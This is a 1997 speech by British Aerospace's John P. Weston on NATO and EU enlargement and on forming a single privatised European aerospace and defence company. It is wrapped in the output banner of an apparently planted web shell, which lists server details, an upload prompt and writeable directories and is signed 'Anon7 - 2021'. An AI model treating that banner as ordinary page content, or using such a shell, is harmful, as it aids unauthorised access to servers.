KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/roger.dnai/97Book/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/roger.dnai/97Book/WESTON.HTM
<!DOCTYPE HTML PUBLIC "-//SoftQuad//DTD HoTMetaL PRO 4.0::19971010::extensions to HTML 4.0//EN"
 "hmpro4.dtd">

<HTML>
  
  <HEAD>
    <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
    <META NAME="GENERATOR" 
    CONTENT="Mozilla/4.03 (Macintosh; U; 68K) [Netscape]">
    <TITLE>John P. Weston</TITLE>
  </HEAD>
  
  <BODY BGCOLOR="#FFFFFF" BGPROPERTIES="FIXED">
    <CENTER><FONT FACE="Palatino"><FONT COLOR="#000000"><FONT SIZE="+3">Future
    European Security Arrangements and</FONT></FONT></FONT></CENTER>
    <CENTER><FONT FACE="Palatino"><FONT COLOR="#000000"><FONT SIZE="+3">Their
    Economic Implications</FONT></FONT></FONT></CENTER>
    <CENTER><FONT FACE="Palatino"><FONT COLOR="#000000"><FONT SIZE="+2">British
    Aerospace Group Managing Director Mr. John P. Weston</FONT></FONT></FONT></CENTER>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">With the end of the Cold
      War and the new era that followed, it would have been logical to expect
      that NATO would no longer have a significant role in securing Western
      Europe's peace and prosperity, and that the European Union would receive a
      strong boost from potential new members, swelling its free market
      population by 250 million new consumers.</FONT></FONT> </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">These expectations,
      however, have not been fulfilled. The Partnership for Peace program and
      the desire of Central European countries to use it as a path to membership
      in NATO, together with the real threats to the security of the region that
      have surfaced in Bosnia and Albania, have resulted in a world where few
      responsible commentators would question the continuing need for NATO and
      the relevance of the enlargement program. At the same time, the unity of
      purpose that once drove the European Union appears to be increasingly
      under threat. I for one am very confused as to whether EU's main vision is
      a deepening of the economic and political ties among a core minority of
      the member-countries, moving in the foreseeable future towards both
      monetary and political union, or whether the vision is expansion of a
      free, single market to encompass 24 European nations. When I ask senior
      politicians which of these goals is the higher priority, I am told that
      they are equally high. We must accomplish both simultaneously, which to me
      seems very difficult, particularly since they have two very different
      objectives.</FONT></FONT> </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">Despite these issues with
      the European Union, both NATO and EU stand at an exciting point in their
      development. NATO is likely to decide to admit Poland, Hungary, and the
      Czech Republic, and all three of these countries wish to join the European
      Union, probably by 2002. The addition of these countries, and others to
      come, will make a significant difference to both institutions.</FONT></FONT>
    </P>
    <CENTER>
    
    <H4><B><FONT FACE="Palatino"><FONT COLOR="#000000">ECONOMIC AND
    POLITICAL CHANGES IN EUROPE</FONT></FONT></B></H4></CENTER>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">Within the European Union,
      the dramatic development of the economies of Poland, Hungary, and the
      Czech Republic, plus the embracing of Anglo-Saxon free-market principles,
      will, I believe, result in new perspectives. The addition of these
      countries will emphasize the difference between the disciples of
      deregulation, free-market economies, and open trade and those European
      nations that prefer a more protectionist approach. This new division
      within the European Union will fall broadly on a North/South axis and
      will, I believe, place new strain on the Franco-German axis as Germany
      increasingly concentrates on the economic opportunities offered by the
      high-growth, low-wage economies that already receive significant German
      investment.</FONT></FONT> </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">In addition to new
      economic divisions, we are also seeing significant political shifts within
      Europe. We have seen right-wing governments in the UK and France fall to
      substantial socialist majorities. And with the difficult unemployment
      climate that now exists in Europe and the sacrifices that remain to be
      made to meet the Maastricht criteria, there may be important messages for
      the German government in their fall 1997 elections--particularly if
      further significant belt-tightening measures are required to enable the
      German economy to meet the Maastricht convergence criteria.</FONT></FONT>
    </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">The more the criteria must
      be flexed to allow French and German membership in EU, the more Southern
      Mediterranean countries will be able to join. And the more Southern
      European countries that are included, the less support there will be in
      Germany for abandoning a strong Deutschmark, which underpins personal
      savings and pensions, in favor of a weaker Euro, which may be better for
      trade but seems remarkably unattractive to a German population with an
      inbuilt fear of inflation and fierce pride in their strong currency. Such
      an unenviable vicious circle must be giving Chancellor Kohl much food for
      thought, though no one can doubt his determination to introduce the
      European Monetary Union on time.</FONT></FONT> </P>
    <CENTER>
    
    <H4><B><FONT FACE="Palatino"><FONT COLOR="#000000">The New Labour
    Administration</FONT></FONT></B></H4></CENTER>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">The UK's new Labour
      administration will appear to many fellow European governments as a more
      center or center-right administration than the average socialist
      government, and I have been encouraged by the start of its new term in
      office. All actions taken so far have been much in accordance with the
      promises made during the election campaign. Particularly encouraging has
      been the approach to economic policy and to business, including the
      decision to allow the directors of the company running the National
      Lottery to collect their bonuses! This decision was especially remarkable
      as it involved reversing a position initially taken by the Minister
      responsible for the lottery. The message that the Labour government wishes
      to maintain its image as a party that recognizes the importance of a
      thriving and motivated business community, and that this outlook took
      priority over a more conventional socialist approach to the issue, is
      important.</FONT></FONT> </P>
    <CENTER>
    
    <H4><B><FONT FACE="Palatino"><FONT COLOR="#000000">The New French
    Government</FONT></FONT></B></H4></CENTER>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">Less clear is the impact
      that the new French government will have, an impact that is particularly
      important to the European defense and aerospace industry. Since 1993 we
      have seen our American competitors grow through mergers to around three
      times the size they were previously. By the end of 1997 we will see the
      American defense and aerospace industry essentially dominated by three
      companies.</FONT></FONT> </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">What lessons should
      European industry draw from all of this? Clearly, European companies will
      not remain competitive unless they rise to the challenge presented from
      across the Atlantic. In 1994 or '95 there was little consensus in Europe
      on what needed to be done, but since then I believe the need to create a
      transnational European industry has been recognized by both industrialists
      and governments. We must consolidate the aerospace and defense businesses
      within Europe by forming an international business, with the industries of
      France, Germany, and the UK at its core.</FONT></FONT> </P>
    <CENTER><B><FONT FACE="Palatino"><FONT COLOR="#000000">&nbsp;</FONT></FONT></B></CENTER>
    <CENTER><B><FONT FACE="Palatino"><FONT COLOR="#000000">A EUROPEAN
    DEFENSE COMPANY TO COMPETE</FONT></FONT></B></CENTER>
    <CENTER><B><FONT FACE="Palatino"><FONT COLOR="#000000">IN THE GLOBAL
    MARKETPLACE</FONT></FONT></B></CENTER>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">An essential element of
      this international company would be a shareholder base spread over a range
      of private investors in the countries within which it operates. The
      businesses making up this company must be privatized before being put
      together. The current French government's policy toward the privatization
      of both Thomson and Aerospatiale is crucial to this process if France is
      to play a significant role.</FONT></FONT> </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">The average U.S. company
      in our sector has grown by 300% during the last few years. U.S. aerospace
      companies will have sales volumes of between $30 and $40 billion per year,
      compared to the largest European aerospace companies, such as British
      Aerospace and DASA, with sales of between $12 and $15 billion per year.
      The U.S. budget of around $270 billion now supports around one third the
      number of defense contractors found in the United Kingdom, Germany,
      France, Sweden, Italy, and Spain. These countries, which are home to the
      bulk of European defense business, have a combined defense budget of $125
      billion. In short, we are trying to support three times the number of
      contractors on less than half the budget. In addition, in the U.S. there
      is only one customer with one set of requirements; in Europe there are
      many. Demand as well as supply is divided into too many parts.</FONT></FONT>
    </P>
    <CENTER>
    
    <H4><B><FONT FACE="Palatino"><FONT COLOR="#000000">Elements of the
    Proposed Company</FONT></FONT></B></H4></CENTER>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">A restructured European
      aerospace industry should include the merged and privatized Aerospatiale
      and Dassault Aviation, Daimler-Benz Aerospace, and British Aerospace. The
      industries of Italy, Spain, and Sweden must also be viewed as essential
      partners, although an entity that includes them can be constructed only on
      a step-by-step basis, not in one &quot;big bang.&quot; The resulting
      European company should be owned directly by a distributed international
      shareholder base. The existing companies would disappear. Simply put, the
      private shareholders in each of the three initial merging companies would
      exchange their shares for shares in the European company at agreed-upon
      parities.</FONT></FONT> </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">I recognize, however, that
      loss of national control in a restructured aerospace industry will be
      universally acceptable only if there are barriers to the assumption of
      control by other parties. To ensure this, I propose that the Articles of
      the European company would forbid any one shareholder from holding more
      than a certain percentage, say in the range of 8% to 15%. The shareholders
      would also be forbidden by company statute from acting in concert.
      Government influence might be focused on golden shares but with limited
      rights, perhaps exercisable only in situations where a national emergency
      has been declared or where specific national security interests are
      involved.</FONT></FONT> </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">The European company I
      speak of will own all the assets, intellectual property, and other
      resources necessary for business. It must also be under a single and
      unified management. Like any good business, it will have to be responsive
      to its customers, and will remain highly dependent on governments for
      investment and contracts; the democratic process will therefore continue
      to play a determining role in the way the business is run. Governments
      will rightly expect a return on their investments in terms of employment,
      their national technology base, and returns from export sales. In bidding
      for contracts it will be the job of the company's unified management to
      respond to these requirements and to distribute work in a way that is both
      equitable and industrially rational. We must get away from the kind of
      intergovernmental <I>juste retour </I>arrangements that have hampered
      collaborative programs in the past.</FONT></FONT> </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">Satisfaction of these
      requirements will require that the company preserve national identities:
      it will need to be perceived to a large extent as German in Germany,
      French in France, British in the UK, and so on, much as Airbus is today.
      Headquarters in each participating country's capital and directors drawn
      from the three nations would symbolize this identification, but would also
      ensure that each government had a national focal point for dialogue with
      the company. The various national authorities would also assume
      responsibility for ensuring compliance with security and export control
      regulations.</FONT></FONT> </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">The company will also have
      to retain major national production facilities in each country to preserve
      and, where possible, generate employment. In addition it will need to have
      centers of excellence in each country, such as research offices and test
      centers, to preserve each national industrial and technological fabric and
      to secure genuine interdependency among the nations to meet their military
      requirements.</FONT></FONT> </P>
    <CENTER>
    
    <H4><B><FONT FACE="Palatino"><FONT COLOR="#000000">Partnership
    Possibilities</FONT></FONT></B></H4></CENTER>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">A European defense company
      could play a significant role in integrating into the European network of
      collaborative programs the defense and aerospace industries of the Central
      European countries that enter NATO and the European Union. This assistance
      would help these countries develop and maintain the key systems design and
      engineering skills necessary for real capability in our industry, and help
      with some of the major equipment decisions that these governments will be 
      making over the next few years. The initial partnerships and the economic
      offset activities that such purchases generate will be very important in
      setting future partnership patterns for their industries. As we know,
      there is a big difference between a partnership whose members are given
      full access to the technology involved in a certain system as well as the
      ability to modify and further develop the system as requirements change,
      and an off-the-shelf purchase of an offset program that delivers
      build-to-print work to the factory floor but does nothing for the
      engineering skills and resources necessary to sustain the business.</FONT></FONT>
    </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">Finally, I wish to make
      the point that European consolidation and restructuring are not directed
      against the U.S. We are not creating a &quot;fortress Europe&quot; to
      compete with &quot;fortress America.&quot; We Europeans must maintain and
      develop our transatlantic links. But to be a satisfactory partner for
      American companies we need to achieve something on their scale. We also
      must remember that the process of globalization is beginning to draw in
      Asian partners, and to contribute to global partnerships we must first
      reorganize and restructure.</FONT></FONT> </P>
    <CENTER>
    
    <H4><B><FONT FACE="Palatino"><FONT COLOR="#000000">THE FUTURE OF THE
    EUROPEAN AEROSPACE INDUSTRY</FONT></FONT></B></H4></CENTER>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">The future of the
      aerospace and defense business is a global one. By the end of 1997, the
      U.S. aerospace industry will be dominated by three companies, and in 10 to
      15 years' time the global aerospace industry will also be dominated by
      just two or three big players. We at British Aerospace see the first step
      along this path as the formation of the European entity that I just
      described. This step would be followed by a transatlantic link, when the
      U.S. industry and government are ready to see such a relationship put in
      place. The time it will take to reach this point will be longer than it
      would be for a consumer business, but it will still be short compared with
      the development time and product life cycles of our major defense systems.
      We need to start planning for the structural changes now.</FONT></FONT>
    </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000">The successful
      introduction of the more streamlined supply industry we envision should
      have important economic consequences for all of our customers. We will be
      able to supply them more efficiently, spread the development load for the
      crucial technology base over a wider range of government contributors, and
      counter the effects of further budget squeezes. While the work will be a
      challenge that will require the support of the government community, the
      benefits will certainly be worth the effort.</FONT></FONT> </P>
    
    <P><FONT FACE="Palatino"><FONT COLOR="#000000"><A HREF="WESTON.HTM">Go
        to top of Page</A></FONT></FONT> <BR><FONT FACE="Palatino"><FONT COLOR="#000000"><A HREF="workshop97.htm">Return
        to Prague '97</A></FONT></FONT> <BR><FONT FACE="Palatino"><FONT COLOR="#000000"><A HREF="../index.html">Return
        to Home Page</A></FONT></FONT> </P>
  </BODY>
</HTML>

Anon7 - 2021